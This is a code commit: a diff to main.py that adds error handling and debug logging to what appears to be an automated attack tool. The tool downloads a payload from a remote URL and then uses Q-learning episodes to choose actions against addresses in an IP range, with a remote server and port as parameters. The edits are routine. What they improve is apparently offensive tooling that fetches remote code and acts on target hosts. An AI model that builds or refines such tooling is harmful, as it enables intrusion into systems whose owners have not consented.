Update main.py

Adds error handling for the urlopen() call, moves the exploration_probability variable inside the function, adds more detailed logging, and uses a more sophisticated exploration strategy (epsilon-greedy with linear decay).

main.py

@@ -209,18 +209,24 @@ def main(ip_range: List[str], remote_server: str, port: int, payload_url: str) -
     max_state = MAX_STATE
 
     # Download the payload
-    with urllib.request.urlopen(payload_url) as f:
-        payload = f.read().decode("utf-8")
+    try:
+        with urllib.request.urlopen(payload_url) as f:
+            payload = f.read().decode("utf-8")
+    except urllib.error.URLError as e:
+        logging.error(f"Error downloading payload: {e}")
+        sys.exit(1)
 
     # Start the main loop
     for episode in range(MAX_EPISODES):
         logging.info(f"Episode {episode + 1}/{MAX_EPISODES}")
 
         # Choose an action based on the current state and the Q-table
         action = choose_action(q_table, state, exploration_probability)
+        logging.debug(f"Chose action {action} for state {state}")
 
         # Take the action and get the reward and the next state
         reward, next_state = take_action(action, state.ip)
+        logging.debug(f"Received reward {reward} and transitioned to state {next_state}")
 
         # Update the Q-table based on the reward and the next state
         if next_state is not None: